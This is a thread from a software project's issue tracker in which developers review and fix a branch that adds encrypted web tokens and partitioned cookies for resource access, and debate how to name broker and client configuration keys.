OPENPOPUP not in scope in p2j.socket.js - runtime ReferenceError. The createOpenPopupDialog function was moved from p2j.js to p2j.socket.js, but it still references the bare variable OPENPOPUP, which is a const defined as const OPENPOPUP = "openpopup" inside p2j.js's IIFE closure (p2j.js) and is not accessible from p2j.socket.js. All three references - p2j.dialogs[OPENPOPUP], p2j.prompts(OPENPOPUP), and p2j.hints(OPENPOPUP) - will throw ReferenceError: OPENPOPUP is not defined at runtime when the browser blocks a popup and the dialog fallback is triggered (new code around line 4916+). The diff adds a p2j.OPENPOPUP property getter to expose this value, but it is never used in p2j.socket.js. All bare OPENPOPUP references should be replaced with p2j.OPENPOPUP. (Note: keys.ENTER referenced in the same function is fine - keys is a global from p2j.keymap.js.)
p2j.dialogs[...] uses bracket notation on a function - always returns undefined. The p2j.dialogs property getter returns a function (not an object): get: function() { return function(id) { return DIALOGS[id]; } } (p2j.js). The code p2j.dialogs[OPENPOPUP] accesses a property of the function object, which is always undefined. It should be a function call: p2j.dialogs(p2j.OPENPOPUP), matching how p2j.prompts() and p2j.hints() are called.
openMimeResource and buildOpenResourceUrl removed from public API without updating all callers. Both functions were previously exposed as me.openMimeResource and me.buildOpenResourceUrl and are now private (moved inside p2j.socket.js). However, p2j.screen.js still calls p2j.openMimeResource(...), which will fail at runtime with a TypeError. Additionally, the ext/sheet/.lib/.../p2j.socket.js still references p2j.socket.buildOpenResourceUrl(...) and p2j.openMimeResource(...); when the .lib copy is refreshed, these calls will break unless the sheet extension is also updated.
Mutable static field with typo in constant name (WebTokensService.java): VALIDITITY_IN_MILLISECONDS is declared private static long but not final. A non-final static field can be accidentally modified. It should be declared final. Also: the name has a typo - double 'I' in "VALIDITITY"; it should be VALIDITY_IN_MILLISECONDS.
Empty log messages on token validation failures (WebTokensService.java): All exception catch blocks in validateWebTokenValue log with LOG.severe("", e). An empty first argument makes log output harder to diagnose. Each catch should have a descriptive message such as "Token security validation failed", "Token expired", "Invalid token claim", etc.
Sergey, why did you ditch the idea with web service workers with access token on every request? The current solution with CHIPS and explicit handling of any case that doesn't fit CHIPS seems more fragile. Any future changes in how resources are handled must be explicitly thought through with CHIPS in mind, and since this is not obvious from the code it will break sooner or later.
Besides, with CHIPS SSO won't work when switching from virtual to embedded mode. I.e. having part of the converted app running in virtual desktop and part in a larger web app.
#741 Updated by Sergey Ivanovskiy 4 months ago
OK, this part was badly tested, I will fix these issues. In respect to the customers application if resources are extracted by the js web client, then all cases virtual and embedded should work properly in local and remote setups but the same resource in new windows should be equipped with resource token_api parameter.
#742 Updated by Sergey Ivanovskiy 4 months ago
I agree that the proposed way looks partly inconsistent because it is based on the parent site and its main iframe embedded web client site relation. I could separate the remote setup and local setup so if the local setup is used, then nothing changes would be added, otherwise for the remote setup the cookie would use partition relation between parent and child web sites. The web service worker idea needs to setup via the browser extension if I correctly interpreted your fallback proposal.
#743 Updated by Sergey Ivanovskiy 4 months ago
The only usage of openMimeResource in p2j.screen is p2j.openMimeResource("/test/keyboard/", "text/html", true);. I would propose to hide this menu functionality because it is not needed with the remote setup.
#744 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
The web service worker idea needs to setup via the browser extension if I correctly interpreted your fallback proposal.
Actually this was your idea AFAIK, see note #508. And it looks pretty solid. Service workers have been around since 2015 and seem to be well supported in all modern browsers, extensions not needed.
#745 Updated by Sergey Ivanovskiy 4 months ago
#746 Updated by Sergey Ivanovskiy 4 months ago
Committed revision 16510 (9709d) should fix these issues except those that can be found during the customer environment those planning to check and fix, the idea is the same to deliver cookies and api_token.
#747 Updated by Sergey Ivanovskiy 4 months ago
Hynek, could you sent me privately the found issues in the customer application. I did not find them at the first glance.
#748 Updated by Sergey Ivanovskiy 4 months ago
Hynek, Constantin please review I fixed these (typos with badly tested changes) issues in rev 16514 (9709d) that looks good with Hotel_GUI and the customer application. Please help to test these changes with another customer application, although I will try to pass the instructions to install binaries.
#749 Updated by Hynek Cihlar 4 months ago
Code review 9709d.
[MAJOR] performance WebTokensService.validateWebTokenValue: A new Jwts.parser() builder chain is constructed on every call. Since secretKey and parser configuration are immutable for the service lifetime, the JwtParser should be built once in the constructor and reused. The jjwt library's JwtParser is thread-safe and designed for reuse. This method is called on every request to /document/ and /open/resource/ paths.
[MAJOR] style WebTokensService.validateWebTokenValue: Inconsistent indentation throughout the method body. The try/catch blocks use 5-space indentation instead of 3-space multiples. Code inside try alternates between 8 and 9 spaces. The entire method has broken alignment.
[MAJOR] style ClientCore.initializeClient: The code inside the new if (is.driver.isWeb()) block uses 4-space indentation (13 spaces from margin) instead of 3-space (12 spaces).
[MAJOR] style Multiple files: Imports in new files use explicit class names (import ...WebTokensService) instead of wildcard imports (import ...web.*). Affected: IWebTokensServiceProvider, ThinClient, AuthHandler, WebTokensService. GCD standard requires .* imports.
[MAJOR] style Multiple files: Method signatures exceed 110-character line length limit. Affected: EmbeddedWebServer.startupServer, EmbeddedWebServerImpl.startupServer, ChuiWebDriver.startupServer, GuiWebDriver.startupServer, WebClientSpawner call site, GuiWebSocket.openMimeResource ternary expression.
[MINOR] functional GuiWebSocket.openMimeResource: No null check on webTokensService obtained via ThinClient.getInstance().getWebTokensService(). If it returns null, an NPE is caught by the generic catch (Exception e) and the method silently returns without sending a WebSocket message. The user gets no feedback that the resource open failed.
[MINOR] functional AuthHandler.checkCookies: The response parameter was added to the signature but is never used in the method body. Dead parameter.
[MINOR] functional DocumentOutputHandler.handle: UUID.fromString() never returns null - it throws IllegalArgumentException on invalid input. The if (uuid == null) check after the call is dead code.
[MINOR] functional AuthHandler.checkCookies: Request.extractQueryParameters() and path-in-context extraction run even when the cookie check succeeds (early return only triggers inside the for-loop). For cookie-authenticated requests, the JWE validation code adds unnecessary overhead. Is it needed to perform this double check?
[MINOR] security WebTokensService: AES_KEY_LENGTH is 128 bits. While AES-128 is still secure, 256-bit keys provide a larger security margin and are the standard recommendation for new implementations.
[MINOR] security WebTokensService: AES_KEY_LENGTH is 128 bits. While AES-128 is still secure, 256-bit keys provide a larger security margin and are the standard recommendation for new implementations. According to the public sources 256-bit seems to have an edge over 128-bit for any future and likely technology.
[MINOR] style IWebTokensServiceProvider: Module name in file header says IWebTokensServiceProvide.java (missing trailing 'r'). Should be IWebTokensServiceProvider.java.
[MINOR] style IWebTokensServiceProvider: Missing class-level Javadoc on the interface declaration.
[MINOR] style WebTokensService: Field VALIDITY_IN_MILLISECONDS is named as a constant (ALL_CAPS) but declared private static long without final. Should be private static final long.
[MINOR] style WebTokensService.validateWebTokenValue: Missing space after for keyword: for(Map.Entry should be for (Map.Entry. Same issue with catch(InvalidClaimException.
[MINOR] style WebTokensService: Orphaned Javadoc block describing "Cypher internal parameter" is not attached to any declaration. Also, "Cypher" should be "Cipher".
[MINOR] style WebTokensService: Double blank line between javax.crypto and com.goldencode import groups. Only one blank line is expected.
[MINOR] style AuthHandler: Missing space before */ in field comment: /** API token name*/ should be /** API token name */.
[MINOR] style DocumentOutputHandler.getUUID: Missing blank line between end of getUUID() method and the following Javadoc comment for the constructor.
[MINOR] style p2j.screen.js (history entry): "Hided" is not valid English. Should be "Hid" or "Hidden".
[MINOR] style GuiWebSocket.openMimeResource: Missing space before ? in ternary: (webTokenForEmbedded != null))? should be (webTokenForEmbedded != null)) ?.
#750 Updated by Sergey Ivanovskiy 4 months ago
Hynek, thank you for the review! Did you use automatic helpers for this review? Recently, I tested locally PocketFlow-Tutorial-Codebase-Knowledge for generating project documentation in FWD and ollama and deepseek-coder-v2:lite LLM model, this combination can be used locally although the processing time on my notebook was not fast and it takes 30 minutes for p2j/ext/sheet/src/main/java/ with ~ 30 files. I do not state that it takes file per a minute because it is just the occasional coincidence. Do you know helpful agents around this local setup to check the code for minor issues using GCD formatters?
#751 Updated by Greg Shah 4 months ago
Sergey Ivanovskiy wrote:
Hynek, thank you for the review! Did you use automatic helpers for this review? Recently, I tested locally
PocketFlow-Tutorial-Codebase-Knowledgefor generating project documentation in FWD andollamaanddeepseek-coder-v2:liteLLM model, this combination can be used locally although the processing time on my notebook was not fast and it takes 30 minutes forp2j/ext/sheet/src/main/java/with ~ 30 files. I do not state that it takes file per a minute because it is just the occasional coincidence. Do you know helpful agents around this local setup to check the code for minor issues using GCD formatters?
Sergey: Please join the discussion in #11258.
#752 Updated by Sergey Ivanovskiy 4 months ago
I checked #7147-1886 the existing customer application in the virtual and embedded desktop mode, although the setup was not successful, but 9709d have no connectivity issues. The other large customer application did not have visible issues, Hotel_Gui also passed manual tests.
#753 Updated by Greg Shah 4 months ago
Code Review Task Branch 9709e Revisions 16486 through 16492
The overall code changes seem fine. My primary concern is that you are changing the current usage of client to require us to use clientConfig or webClient. As I noted in #9709-684, these are heavily used throughout our existing customers and I don't want to force them to change. That is why I suggested using client in these cases, so that the existing code would work. If there is something specific to brokers then we can add a broker but these values seem to be overlapping with our existing client cases, so it should just use client.
#754 Updated by Sergey Ivanovskiy 4 months ago
Greg, these parameters should be only the part of the exchange between the server and the client
/** The port for the web server on the client process. */
public static final ConfigItem<Integer> PORT =
- new ConfigItem<>(Integer.class, "port", "client", "web", "port", Type.WEB_CLIENT);
+ new ConfigItem<>(Integer.class, "port", Type.WEB_CLIENT, true);
/** The host for the web server on the client process. */
public static final ConfigItem<String> HOST =
- new ConfigItem<>(String.class, "host", "client", "web", "host", Type.WEB_CLIENT);
+ new ConfigItem<>(String.class, "host", Type.WEB_CLIENT, true);
the other parameters are not override parameters. But we can leave
client:web:port and client:web:host for them. This is defined only by ConfigItem.#755 Updated by Greg Shah 4 months ago
Using clientConfig:<cat>:<key> or webClient:<cat>:<key> in this case does not make sense since we already expose these as client:<cat>:<key>. Consistency has value. Since we are so heavily "invested" in client already, I prefer not to force the existing ones to change AND not to create something different for new ones that intuitively, one might expect to be the same.
BTW, in BrokerCore there are a lot of javadoc comments that still refer to remote:<cat>:<key>. Please fix that.
#756 Updated by Sergey Ivanovskiy 4 months ago
OK. Rolling back to client:web and fixing these remote: now.
#757 Updated by Sergey Ivanovskiy 4 months ago
Now I rolled back to old values client:web, where it was changed and the current client configuration for the broker mode becomes looking like
<clientConfig>
<retry count="10" />
<retry seconds="10" />
<spawner value="/home/sbi/opt/hotel_gui/spawn" />
<jvmArgs value="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8 -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9988,server=y,suspend=n" />
<classpath value="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
<minAgentPort value="9988" />
<minAgentPort value="9999" />
</clientConfig>
<webClient>
<dedicatedMode value="false"/>
<defaultOsUser value="sbi"/>
</webClient>
<client>
<web host="192.168.100.28"/>
</client>
There is only
client:web:host reused from the old bootstrap keys values.#758 Updated by Sergey Ivanovskiy 4 months ago
Greg, checking config item changes helped to find the following implemented logic for broker mode. Users of the broker should be added to the directory settings for the given broker accounts list:
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="account" value="OsUser1"/>
<node-attribute name="account" value="OsUser2"/>
.............................................................
</node>
</node>
but the broker client registered with the provided
dedicatedUser that should be in the account list of the target broker process on the server. Another web user can spawn on this broker only if it provides the same client address, when BrokerManager.spawn the new client. It follows from this logic
private static BrokerParameters schedule(final List<BrokerParameters> brokers,
String dedicatedUser,
String clientAddress)
{
// system loading
double minSystemLoading = Double.MAX_VALUE;
// scheduled broker
BrokerParameters scheduledBroker = null;
try
{
InetAddress.getByName(clientAddress);
}
catch (UnknownHostException e)
{
throw new IllegalArgumentException("IP address of a host could not be determined " + clientAddress);
}
List<String> dedicatedHosts;
dedicatedHosts = getHostsForUser(dedicatedUser, true);
if (dedicatedHosts.isEmpty())
{
dedicatedHosts = getHostsForUser(dedicatedUser, false);
}
if (dedicatedHosts.contains(clientAddress))
{
dedicatedHosts = Collections.singletonList(clientAddress);
}
boolean anyHost = dedicatedHosts.isEmpty();
// search for an available broker
for (BrokerParameters broker : brokers)
{
try
{
// is broker still open?
if (broker.getState() == BrokerState.OPEN)
{
if (anyHost || dedicatedHosts.contains(broker.getRemote().getDedicatedHost()))
{
double systemLoading = broker.getRemote().getSystemLoading();
if (systemLoading < minSystemLoading)
{
minSystemLoading = systemLoading;
scheduledBroker = broker;
}
}
}
}
catch (Throwable t)
{
LOG.logp(Level.SEVERE,
"BrokerManager.schedule()",
"",
"Remote broker call exception.",
t);
}
}
// Check if broker has been scheduled.
if (scheduledBroker == null)
{
throw new NullPointerException("No brokers are available for schedule.");
}
if (Level.FINE.equals(LOG.getLevel()))
{
LOG.fine("BrokerManager.schedule " + scheduledBroker.getRemote().getDedicatedHost() +
" dedicatedUser=" + dedicatedUser + " clientAddress=" + clientAddress);
}
return scheduledBroker;
}
and
public static String registerBroker(
String host,
String user,
boolean dedicatedMode,
boolean agentRangeConfigured,
int minAgentPort,
int maxAgentPort,
boolean javaDebuggerNeeded,
int javaDebuggerSinglePortNumber,
boolean jmxAgentNeeded,
int jmxAgentSinglePortNumber)
throws UnknownHostException
{
synchronized (activeBrokers)
{
// check if brokers are defined for this P2J server.
if (activeBrokers.isEmpty())
{
throw new RuntimeException("No brokers are defined for this P2J server.");
}
SecurityManager sm = SecurityManager.getInstance();
BrokerParameters params = new BrokerParameters();
// account id
params.setUserId(sm.getUserId());
if (!sm.isProcessDefined(params.getUserId()))
{
throw new RuntimeException("Only process accounts are allowed.");
}
params.setAgentAddress(host);
// broker name if any
params.setBrokerName(sm.getBrokerForProcess(params.getUserId()));
if (params.getBrokerName() == null)
{
throw new RuntimeException("No broker is defined for this process account.");
}
// always add to all hosts first
addUserHostWithCheck(user, host, allHosts);
//
if (dedicatedMode)
{
addUserHostWithCheck(user, host, dedicatedHosts);
}
// register
Broker broker = activeBrokers.get(params.getBrokerName());
if (broker == null)
{
throw new RuntimeException("No broker is defined for this process account.");
}
if (!broker.hasAccount(user))
{
broker.addAccount(user);
}
params.setAssociatedUser(user);
broker.addBroker(params);
hostsManager.addHost(host,
WebClientsManager.getInstance().createResourceQueue(
host,
agentRangeConfigured,
minAgentPort,
maxAgentPort,
broker.isPortsRestricted(),
broker.getFrom(),
broker.getTo(),
javaDebuggerNeeded,
javaDebuggerSinglePortNumber,
jmxAgentNeeded,
jmxAgentSinglePortNumber));
// add listener to broker session
Session session = SessionManager.get().getSession();
session.addSessionListener(sessionListener);
params.setSession(session);
// get broker export services
params.setRemote((BrokerClientServices) RemoteObject.obtainNetworkInstance(
BrokerClientServices.class,
session));
// log informations about registered broker
LOG.logp(Level.INFO,
"BrokerManager.registerBroker()",
"",
CentralLogger.generate("Broker user=%s uuid=%s registered.",
params.getUserId(),
params.getUuid()));
return params.getUuid();
}
}
Thus this user registered with the broker client is only one that can be sure that its client is running on this broker client.
#759 Updated by Sergey Ivanovskiy 4 months ago
Please review the committed revision 16493 (9709e). Planning to rebase this branch.
#760 Updated by Sergey Ivanovskiy 4 months ago
Rebased 9709e up to rev 16515.
#761 Updated by Sergey Ivanovskiy 4 months ago
Rebased 9709d up to rev 16526.
#762 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
Now I rolled back to old values
client:web, where it was changed and the current client configuration for the broker mode becomes looking like
[...]
There is onlyclient:web:hostreused from the old bootstrap keys values.
As I mentioned in #9709-755. "Consistency has value.". Using clientConfig or webClient for broker configuration adds something weird that doesn't match with the current client approach.
Consider my comments from #9709-753:
That is why I suggested using
clientin these cases, so that the existing code would work. If there is something specific to brokers then we can add abrokerbut these values seem to be overlapping with our existingclientcases, so it should just useclient.
Let's stay away from adding clientConfig or webClient. Either use client or use broker.
#763 Updated by Sergey Ivanovskiy 3 months ago
I used clientConfig or webClient because the same values are defined in the directory.
#764 Updated by Greg Shah 3 months ago
Users of the broker should be added to the directory settings for the given broker accounts list:
I thought this was just an optional feature, not a requirement.
Thus this user registered with the broker client is only one that can be sure that its client is running on this broker client.
I'm not really clear what you are asking here. Aren't you just describing the optional "dedicated mode" feature you implemented in #3287?
#766 Updated by Sergey Ivanovskiy 3 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
I used
clientConfigorwebClientbecause the same values are defined in the directory.Yes, I understand that. I think adding those is worse than using either
clientorbroker.
Is it OK if we replace clientConfig->client: and webClient->client:web:
<client>
<retry count="10" />
<retry seconds="10" />
<spawner value="/home/sbi/opt/hotel_gui/spawn" />
<jvmArgs value="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8 -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9988,server=y,suspend=n" />
<classpath value="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
<minAgentPort value="9988" />
<minAgentPort value="9999" />
<web host="192.168.100.28"/>
<web dedicatedMode="false"/>
<web defaultOsUser="sbi"/>
</client>
#767 Updated by Sergey Ivanovskiy 3 months ago
I should fix client -> broker for the first two parameters:
<broker>
<retry count="10" />
<retry seconds="10" />
</broker>
because these two values are used by
BrokerCore to connect to the server process.#768 Updated by Sergey Ivanovskiy 3 months ago
#769 Updated by Sergey Ivanovskiy 3 months ago
These keys webClient -> client:web say that these parameters are used only by web clients.
#770 Updated by Sergey Ivanovskiy 3 months ago
Thus the complete configuration can be that
<broker>
<retry count="10" />
<retry seconds="10" />
</broker>
<client>
<spawner value="/home/sbi/opt/hotel_gui/spawn" />
<jvmArgs value="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8 -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9988,server=y,suspend=n" />
<classpath value="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
<minAgentPort value="9988" />
<minAgentPort value="9999" />
<web host="192.168.100.28"/>
<web dedicatedMode="false"/>
<web defaultOsUser="sbi"/>
</client>
#771 Updated by Greg Shah 3 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
Sergey Ivanovskiy wrote:
I used
clientConfigorwebClientbecause the same values are defined in the directory.Yes, I understand that. I think adding those is worse than using either
clientorbroker.Is it OK if we replace
clientConfig->client:andwebClient->client:web:
[...]
Yes, I'm OK with that in general. Why not broker:web instead of client:web?
#774 Updated by Sergey Ivanovskiy 3 months ago
Greg Shah wrote:
I'd even be OK with all of these values in
brokerbecause they can't be passed asclientnormally (only the broker honors these).
Yes, these ones client:web:host and client:web:port are defined in webClient and it would be strange to have broker:web:* for them. I think that it should lead to confusions.
#776 Updated by Sergey Ivanovskiy 3 months ago
Please review the committed rev 16516 (9709e). It seems that 9709d was missed. I fixed automatically found (ClaudeCode script) issues yesterday or the last weekend.
#777 Updated by Roger Borrello 3 months ago
I see a lot of back-and-forth on the changes to the directory and client xml. Are those actually implemented? I was able to utilized the existing setup of hotel without any changes, leading me to believe they were not implemented yet (or perhaps there is backward compatibility?)
#778 Updated by Sergey Ivanovskiy 3 months ago
Roger Borrello wrote:
I see a lot of back-and-forth on the changes to the directory and client xml. Are those actually implemented? I was able to utilized the existing setup of hotel without any changes, leading me to believe they were not implemented yet (or perhaps there is backward compatibility?)
The configuration changes are only in 9709e, not trunk.
#779 Updated by Roger Borrello 3 months ago
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
I see a lot of back-and-forth on the changes to the directory and client xml. Are those actually implemented? I was able to utilized the existing setup of hotel without any changes, leading me to believe they were not implemented yet (or perhaps there is backward compatibility?)
The configuration changes are only in 9709e, not trunk.
I was using 9709d. Sorry, should have mentioned that at the beginning.
#780 Updated by Sergey Ivanovskiy 3 months ago
9709d can be merged into the trunk if there are no objections. From this thread it was reviewed, the code was cleaned.
#781 Updated by Hynek Cihlar 3 months ago
- % Done changed from 100 to 90
- Status changed from Review to WIP
Code review 9709d revisions 16505..16526
- [CRITICAL] functional
WebTokensService.validateWebTokenValue: TheJwtParserBuilderinstance stored in thejwtParserfield is mutable and shared across calls. Each invocation callsrequireSubject(subject)anddecryptWith(secretKey)which mutate the builder's internal state.The
JwtParserreturned by.build()is immutable and thread-safe, so it can be safely shared across concurrent Jetty request threads. The only per-call part isrequireSubject(subject), which is trivially replaced by checkingpayload.getSubject()after parsing. This avoids creating any new objects per validation call (beyond what JJWT does internally during parsing).
- [MAJOR] functional
p2j.js(DIALOGS/OPENPOPUP):DIALOGSis defined as{ OPENPOPUP : "openMimeResource" }which creates a property with the literal key"OPENPOPUP"(uppercase string). The constantOPENPOPUPhas value"openpopup"(lowercase). Sop2j.dialogs(p2j.OPENPOPUP)evaluates toDIALOGS["openpopup"]which isundefined, causing the dialog ID passed tocreateInternalDialogto always beundefined.
- [MINOR] style
IWebTokensServiceProvider: The Module header saysIWebTokensServiceProvide.java(missing trailingr). Should beIWebTokensServiceProvider.java.
- [MINOR] style
AuthHandler: The line settingauthorizationCookieNameexceeds 110 characters. Should be wrapped.
- [MINOR] style
WebTokensService.validateWebTokenValue: The line chainingjwtParser.requireSubject(subject).decryptWith(secretKey).build().parseEncryptedClaims(value)exceeds 110 characters. Should be wrapped.
- [MINOR] style
OpenResourceHandler.OpenResourceKeysProvider: The line callingdecodeUrlEncodedParameterwithDOCUMENT_TYPEexceeds 110 characters. Should be wrapped.
- [MINOR] style
AuthHandler: The javadoc comment/** API token name*/is missing a space before*/. Should be/** API token name */.
- [MINOR] style
WebTokensService: The class javadoc referencesJwts.ENC.A128GCMbut the code usesJwts.ENC.A256GCM. The comment is inconsistent with the implementation.
- [MINOR] style
WebTokensService: Double blank line betweenjavax.crypto.*import andcom.goldencode.p2j.util.logging.*import. Should be a single blank line.
- [MINOR] style
OpenResourceTemplate: Blank line before closing brace}violates the "no blank lines before}" rule.
Instead of exposing the full WebTokenService rather create a new method on the ui driver to generate the resource token. There is currently only one usage and one method needed so exposing the whole class with all the consequences is an overkill.
#782 Updated by Sergey Ivanovskiy 3 months ago
- % Done changed from 90 to 100
Hynek Cihlar wrote:
Code review 9709d revisions 16505..16526
- [CRITICAL] functional
WebTokensService.validateWebTokenValue: TheJwtParserBuilderinstance stored in thejwtParserfield is mutable and shared across calls. Each invocation callsrequireSubject(subject)anddecryptWith(secretKey)which mutate the builder's internal state.The
JwtParserreturned by.build()is immutable and thread-safe, so it can be safely shared across concurrent Jetty request threads. The only per-call part isrequireSubject(subject), which is trivially replaced by checkingpayload.getSubject()after parsing. This avoids creating any new objects per validation call (beyond what JJWT does internally during parsing).
- [MAJOR] functional
p2j.js(DIALOGS/OPENPOPUP):DIALOGSis defined as{ OPENPOPUP : "openMimeResource" }which creates a property with the literal key"OPENPOPUP"(uppercase string). The constantOPENPOPUPhas value"openpopup"(lowercase). Sop2j.dialogs(p2j.OPENPOPUP)evaluates toDIALOGS["openpopup"]which isundefined, causing the dialog ID passed tocreateInternalDialogto always beundefined.
- [MINOR] style
IWebTokensServiceProvider: The Module header saysIWebTokensServiceProvide.java(missing trailingr). Should beIWebTokensServiceProvider.java.
- [MINOR] style
AuthHandler: The line settingauthorizationCookieNameexceeds 110 characters. Should be wrapped.
- [MINOR] style
WebTokensService.validateWebTokenValue: The line chainingjwtParser.requireSubject(subject).decryptWith(secretKey).build().parseEncryptedClaims(value)exceeds 110 characters. Should be wrapped.
- [MINOR] style
OpenResourceHandler.OpenResourceKeysProvider: The line callingdecodeUrlEncodedParameterwithDOCUMENT_TYPEexceeds 110 characters. Should be wrapped.
- [MINOR] style
AuthHandler: The javadoc comment/** API token name*/is missing a space before*/. Should be/** API token name */.
- [MINOR] style
WebTokensService: The class javadoc referencesJwts.ENC.A128GCMbut the code usesJwts.ENC.A256GCM. The comment is inconsistent with the implementation.
- [MINOR] style
WebTokensService: Double blank line betweenjavax.crypto.*import andcom.goldencode.p2j.util.logging.*import. Should be a single blank line.
- [MINOR] style
OpenResourceTemplate: Blank line before closing brace}violates the "no blank lines before}" rule.Instead of exposing the full
WebTokenServicerather create a new method on the ui driver to generate the resource token. There is currently only one usage and one method needed so exposing the whole class with all the consequences is an overkill.
Do not understand this class expose two methods generate and validate, where generate is called by driver, but validate is called by AuthHandler.
#783 Updated by Hynek Cihlar 3 months ago
Sergey Ivanovskiy wrote:
Instead of exposing the full
WebTokenServicerather create a new method on the ui driver to generate the resource token. There is currently only one usage and one method needed so exposing the whole class with all the consequences is an overkill.Do not understand this class expose two methods generate and validate, where generate is called by driver, but validate is called by AuthHandler.
I agree the token service integration works correctly as is. My only concern is that by exposing the whole WebTokensService via IWebTokensServiceProvider, any code that can reach ThinClient.getInstance().getWebTokensService() gets access to both token generation and validation, including indirect access to the secret key material. Since the only consumer on the client side (GuiWebSocket.openMimeResource) needs just generateWebTokenValue, I think it would be cleaner to narrow the interface to expose only what's needed - either a single generate method on IWebTokensServiceProvider or a small WebTokenGenerator interface. This way validation stays internal to the web server layer where it belongs, and we reduce the surface area around the secret key.
#784 Updated by Sergey Ivanovskiy 3 months ago
This line looks like 106 characters length add("documentType", () -> decodeUrlEncodedParameter(DOCUMENT_TYPE, "application/octet-stream"));.
Seems incorrect MINOR issue.
#785 Updated by Sergey Ivanovskiy 3 months ago
It is interesting that the issues related to the same unit are shuffled in this report
[MINOR] style AuthHandler: The line setting authorizationCookieName exceeds 110 characters. Should be wrapped.
[MINOR] style WebTokensService.validateWebTokenValue: The line chaining jwtParser.requireSubject(subject).decryptWith(secretKey).build().parseEncryptedClaims(value) exceeds 110 characters. Should be wrapped.
[MINOR] style OpenResourceHandler.OpenResourceKeysProvider: The line calling decodeUrlEncodedParameter with DOCUMENT_TYPE exceeds 110 characters. Should be wrapped.
[MINOR] style AuthHandler: The javadoc comment /** API token name*/ is missing a space before */. Should be /** API token name */.
#786 Updated by Sergey Ivanovskiy 3 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Instead of exposing the full
WebTokenServicerather create a new method on the ui driver to generate the resource token. There is currently only one usage and one method needed so exposing the whole class with all the consequences is an overkill.Do not understand this class expose two methods generate and validate, where generate is called by driver, but validate is called by AuthHandler.
I agree the token service integration works correctly as is. My only concern is that by exposing the whole
WebTokensServiceviaIWebTokensServiceProvider, any code that can reachThinClient.getInstance().getWebTokensService()gets access to both token generation and validation, including indirect access to the secret key material. Since the only consumer on the client side (GuiWebSocket.openMimeResource) needs justgenerateWebTokenValue, I think it would be cleaner to narrow the interface to expose only what's needed - either a single generate method onIWebTokensServiceProvideror a smallWebTokenGeneratorinterface. This way validation stays internal to the web server layer where it belongs, and we reduce the surface area around the secret key.
Please review the committed revision 16527 (9709d)
#787 Updated by Sergey Ivanovskiy 3 months ago
- Status changed from WIP to Review
The minor issues are fixed too although as they are shuffled, then some of them can be missed.
#788 Updated by Hynek Cihlar 3 months ago
Sergey Ivanovskiy wrote:
This line looks like 106 characters length
add("documentType", () -> decodeUrlEncodedParameter(DOCUMENT_TYPE, "application/octet-stream"));.
Seems incorrect MINOR issue.
Yes, this was incorrectly marked as an issue.
#789 Updated by Sergey Ivanovskiy 3 months ago
9709d rebased rev 16535 (9709d).
#790 Updated by Hynek Cihlar 3 months ago
- Status changed from Review to WIP
- % Done changed from 100 to 90
Code review 9709d revisions 16505..16527
- [CRITICAL] security
WebTokensService.validateWebTokenValue(line 172): Inverted subject validation logic. When the token subject does NOT match the expected subject (tokenSubject == null || !tokenSubject.equals(subject)), the method returnstrue(valid) instead offalse. This allows any valid non-expired JWE token to pass validation regardless of its subject claim, completely bypassing subject-based authorization. Must changereturn truetoreturn falsein the subject mismatch branch.
- [MAJOR] style
OpenResourceHandler.OpenResourceKeysProvider: Line addingdocumentTypetemplate key exceeds 110 characters.
#791 Updated by Sergey Ivanovskiy 3 months ago
- % Done changed from 90 to 100
Sorry for incorrect changes. Please review 16536(9709d).
#792 Updated by Sergey Ivanovskiy 3 months ago
- Status changed from WIP to Review
Do not worry. It is a human error not an agentic one. :)
#793 Updated by Hynek Cihlar 3 months ago
Sergey Ivanovskiy wrote:
Do not worry. It is a human error not an agentic one. :)
Human errors are precious these days :-).
Code review. The changes are fine.
Are there any reviews pending from others?
#794 Updated by Sergey Ivanovskiy 3 months ago
Greg supposed that Constantin did 9709d review too.
#795 Updated by Sergey Ivanovskiy 3 months ago
- reviewer Constantin Asofiei added
Constantin, could you review 9709d?
#796 Updated by Constantin Asofiei 3 months ago
Sergey Ivanovskiy wrote:
Review for 9709d rev 16536:Constantin, could you review 9709d?
ThinClient-import com.goldencode.p2j.ui.client.driver.web.*;is not usedAuthHandler- please add a new line after
DOCUMENT_HANDLER - constructor is missing javadoc for
webTokensService - the CHIPS cookies - when will these expire?
- please add a new line after
WebTokensService- is 60seconds validity for the token enough? What I mean here: can there be cases where we build a document link which 'stays on the screen' and waits for the user to click it? These cases are different than i.e. user presses a 4GL button which behind the scene callsOPEN-MIME-RESOURCEand the action is done immediatelyOpenResourceHandler$OpenResourceKeysProvider- methoddecodeUrlEncodedParameteris missing javadoc forqueryParametersp2j.socket.jsbuildOpenResourceUrl- missing javadoc forwebTokenForEmbedded- I can't tell how downloading a (huge) file previously worked; in
openMimeResource, where you haveresponse.blob().then(blob =>, does this mean that theblobis the entire file and it resides in memory? There can be huge files to download, even in the 100MB range. But this code is fromp2j.jsand looks like it was not an issue in production. - if @fetch(url) fails, then shouldn't we inform the user and not just log to JS console?
- does CHIPS still work with a
HTML-BROWSERcomponent on the screen, where there are href/links which interact with the converted application?
Otherwise, does this affect SSO (OIDC integration)? Stefanel, can you take a look at 9709d and do some tests with OIDC?
#797 Updated by Sergey Ivanovskiy 3 months ago
